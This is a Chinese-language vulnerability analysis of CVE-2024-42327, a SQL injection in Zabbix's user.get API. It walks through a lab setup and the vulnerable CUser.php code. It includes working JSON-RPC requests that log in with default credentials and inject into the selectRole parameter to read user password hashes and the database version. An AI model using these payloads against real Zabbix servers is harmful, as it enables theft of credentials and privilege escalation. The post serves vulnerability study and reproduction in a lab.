CVE-2024-42327:Zabbix SQL注入漏洞分析

Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。 Zabbix SQL注入漏洞(CVE-2024-42327),攻击者可以通过API接口,向 user.get API端点发送恶意构造的请求,注入SQL代码,以实现权限提升、数据泄露或系统入侵。

仅供学习交流,请勿用于非法用途

漏洞简介

Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。

攻击者可以通过API接口,向 user.get API端点发送恶意构造的请求,注入SQL代码,以实现权限提升、数据泄露或系统入侵。

影响版本

image.png

6.0.0 <= Zabbix <= 6.0.31

6.4.0 <= Zabbix <= 6.4.16

Zabbix 7.0.0

环境搭建

参考https://forum.butian.net/share/3056

访问https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.0/

image.png

选择 *vmx.tar.gz 这个,解压双击.vmx 文件即可导入 Vmware Workstation

然后开机即可,访问机器ip的80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix

php调试环境搭建

参考https://juejin.cn/post/7201509055713493049

我这里源码从 https://cdn.zabbix.com/zabbix/sources/stable/7.0/ 下载的

image.png

虚拟机中没有php命令,但是有php-fpm命令可以用

php-fpm -i获取到配置信息后使用wizard安装php xdebug拓展,这里安装xdebug-3.4.0

cd /tmp
curl https://xdebug.org/files/xdebug-3.4.0.tgz -o xdebug-3.4.0.tgz
tar -xvzf xdebug-3.4.0.tgz
cd xdebug-3.4.0
# 编译所需环境
yum install -y install gcc automake autoconf libtool make php-devel
phpize
./configue
make
cd module
cp xdebug.so /usr/lib64/php/modules/

然后vi /etc/php.d/99-xdebug.ini 添加行zend_extension = xdebug

然后systemctl restart php-fpm重启 php-fpm,最后php-fpm -v查看是否成功生效

image.png

配置php.ini文件,在末尾添加以下内容

xdebug.mode = debug,develop,trace
xdebug.start_with_request = yes
xdebug.client_host = 192.168.182.1
xdebug.client_port = 9003

具体作用可以参考https://xdebug.org/docs/develop

这里是指定vscode所在机子的ip和通信端口(注意要开放这个端口)

然后在vscode添加调试配置,将生成的php xdebug的默认配置改为

{
  "name": "远程调试",
  "type": "php",
  "request": "launch",
  "port": 9003,
  "pathMappings": {
    "/usr/share/zabbix": "${workspaceFolder}/ui"
  },
  "hostname": "192.168.182.1"
}

image.png

漏洞复现

Zabbix 的addRelatedObjects函数中的CUser类中存在SQL注入,此函数由 CUser.get 函数调用,具有API访问权限的用户可利用造成越权访问高权限用户敏感信息以及执行恶意SQL语句等危害。

首先通过账号密码登录后台

POST /api_jsonrpc.php HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 106

{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}

image.png

然后SQL注入获取敏感信息

POST /api_jsonrpc.php HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 167

{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1}

image.png

漏洞分析

定位漏洞点ui/include/classes/api/services/CUser.php#get这个方法

public function get($options = []) {
  $result = [];

  $sqlParts = [
    'select'    => ['users' => 'u.userid'],
    'from'      => ['users' => 'users u'],
    'where'     => [],
    'order'     => [],
    'limit'     => null
  ];

  $defOptions = [
    'usrgrpids'                 => null,
    'userids'                   => null,
    'mediaids'                  => null,
    'mediatypeids'              => null,
    // filter
    'filter'                    => null,
    'search'                    => null,
    'searchByAny'               => null,
    'startSearch'               => false,
    'excludeSearch'             => false,
    'searchWildcardsEnabled'    => null,
    // output
    'output'                    => API_OUTPUT_EXTEND,
    'editable'                  => false,
    'selectUsrgrps'             => null,
    'selectMedias'              => null,
    'selectMediatypes'          => null,
    'selectRole'                => null,
    'getAccess'                 => null,
    'countOutput'               => false,
    'preservekeys'              => false,
    'sortfield'                 => '',
    'sortorder'                 => '',
    'limit'                     => null
  ];
  $options = zbx_array_merge($defOptions, $options);

  // permission check
  if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
    if (!$options['editable']) {
      $sqlParts['from']['users_groups'] = 'users_groups ug';
      $sqlParts['where']['uug'] = 'u.userid=ug.userid';
      $sqlParts['where'][] = 'ug.usrgrpid IN ('.
        ' SELECT uug.usrgrpid'.
        ' FROM users_groups uug'.
        ' WHERE uug.userid='.self::$userData['userid'].
      ')';
    }
    else {
      $sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
    }
  }

  // userids
  if ($options['userids'] !== null) {
    zbx_value2array($options['userids']);

    $sqlParts['where'][] = dbConditionInt('u.userid', $options['userids']);
  }

  // usrgrpids
  if ($options['usrgrpids'] !== null) {
    zbx_value2array($options['usrgrpids']);

    $sqlParts['from']['users_groups'] = 'users_groups ug';
    $sqlParts['where'][] = dbConditionInt('ug.usrgrpid', $options['usrgrpids']);
    $sqlParts['where']['uug'] = 'u.userid=ug.userid';
  }

  // mediaids
  if ($options['mediaids'] !== null) {
    zbx_value2array($options['mediaids']);

    $sqlParts['from']['media'] = 'media m';
    $sqlParts['where'][] = dbConditionInt('m.mediaid', $options['mediaids']);
    $sqlParts['where']['mu'] = 'm.userid=u.userid';
  }

  // mediatypeids
  if ($options['mediatypeids'] !== null) {
    zbx_value2array($options['mediatypeids']);

    $sqlParts['from']['media'] = 'media m';
    $sqlParts['where'][] = dbConditionInt('m.mediatypeid', $options['mediatypeids']);
    $sqlParts['where']['mu'] = 'm.userid=u.userid';
  }

  // filter
  if (is_array($options['filter'])) {
    if (array_key_exists('autologout', $options['filter']) && $options['filter']['autologout'] !== null) {
      $options['filter']['autologout'] = getTimeUnitFilters($options['filter']['autologout']);
    }

    if (array_key_exists('refresh', $options['filter']) && $options['filter']['refresh'] !== null) {
      $options['filter']['refresh'] = getTimeUnitFilters($options['filter']['refresh']);
    }

    if (isset($options['filter']['passwd'])) {
      self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to filter by user password.'));
    }

    $this->dbFilter('users u', $options, $sqlParts);
  }

  // search
  if (is_array($options['search'])) {
    if (isset($options['search']['passwd'])) {
      self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to search by user password.'));
    }

    zbx_db_search('users u', $options, $sqlParts);
  }

  // limit
  if (zbx_ctype_digit($options['limit']) && $options['limit']) {
    $sqlParts['limit'] = $options['limit'];
  }

  $userIds = [];

  $sqlParts = $this->applyQueryOutputOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts);
  $sqlParts = $this->applyQuerySortOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts);
  $res = DBselect(self::createSelectQueryFromParts($sqlParts), $sqlParts['limit']);

  while ($user = DBfetch($res)) {
    unset($user['passwd']);

    if ($options['countOutput']) {
      $result = $user['rowscount'];
    }
    else {
      $userIds[$user['userid']] = $user['userid'];

      $result[$user['userid']] = $user;
    }
  }

  if ($options['countOutput']) {
    return $result;
  }

  /*
   * Adding objects
   */
  if ($options['getAccess'] !== null) {
    foreach ($result as $userid => $user) {
      $result[$userid] += ['gui_access' => 0, 'debug_mode' => 0, 'users_status' => 0];
    }

    $access = DBselect(
      'SELECT ug.userid,MAX(g.gui_access) AS gui_access,'.
        ' MAX(g.debug_mode) AS debug_mode,MAX(g.users_status) AS users_status'.
        ' FROM usrgrp g,users_groups ug'.
        ' WHERE '.dbConditionInt('ug.userid', $userIds).
          ' AND g.usrgrpid=ug.usrgrpid'.
        ' GROUP BY ug.userid'
    );

    while ($userAccess = DBfetch($access)) {
      $result[$userAccess['userid']] = zbx_array_merge($result[$userAccess['userid']], $userAccess);
    }
  }

  if ($result) {
    $result = $this->addRelatedObjects($options, $result);
  }

  // removing keys
  if (!$options['preservekeys']) {
    $result = zbx_cleanHashes($result);
  }

  return $result;
}

可以看出这里在解析传入的参数。首先将传入的参数合并到参数模板中,然后根据合并后的参数调整SQL语句的fromwherelimit等子句,然后查询用户表中所有字段

image.png

fetch结果集后,unset了passwd这个敏感字段,所以预期这里的结果是获取不到passwd这个字段的

while ($user = DBfetch($res)) {
  unset($user['passwd']);

  if ($options['countOutput']) {
    $result = $user['rowscount'];
  }
  else {
    $userIds[$user['userid']] = $user['userid'];

    $result[$user['userid']] = $user;
  }
}

处理完查询的结果集后,又向结果集中添加了一些对象,这里调用了CUser#addRelatedObjects()这个方法,跟进

Adds the related objects requested by "select*" options to the resulting object set.

protected function addRelatedObjects(array $options, array $result) {
  $result = parent::addRelatedObjects($options, $result);

  $userIds = zbx_objectValues($result, 'userid');

  // ......

  // adding user role
  if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
    if ($options['selectRole'] === API_OUTPUT_EXTEND) {
      $options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
    }

    $db_roles = DBselect(
      'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
      ' FROM users u,role r'.
      ' WHERE u.roleid=r.roleid'.
      ' AND '.dbConditionInt('u.userid', $userIds)
    );

    foreach ($result as $userid => $user) {
      $result[$userid]['role'] = [];
    }

    while ($db_role = DBfetch($db_roles)) {
      $userid = $db_role['userid'];
      unset($db_role['userid']);

      $result[$userid]['role'] = $db_role;
    }
  }

  return $result;
}

可以看到这个方法在adding user role这个功能点时,将用户可控的options参数内容直接拼接到了SQL语句中,于是造成了SQL注入。并且查询结果会存进$result数组中返回,最终以 json 形式返回到客户端。

image.png

并且这里注入的位置在查询的字段名处,可利用度相当高,于是可以轻松构造相关恶意语句

{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, version()", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1}

image.png

结语

第一次复现 zabbix 的漏洞,如有纰漏,欢迎交流

  • 发表于 2024-12-20 10:12:09
  • 阅读 ( 194 )
  • 分类:Web应用

0 条评论

请先 登录 后评论
站长统计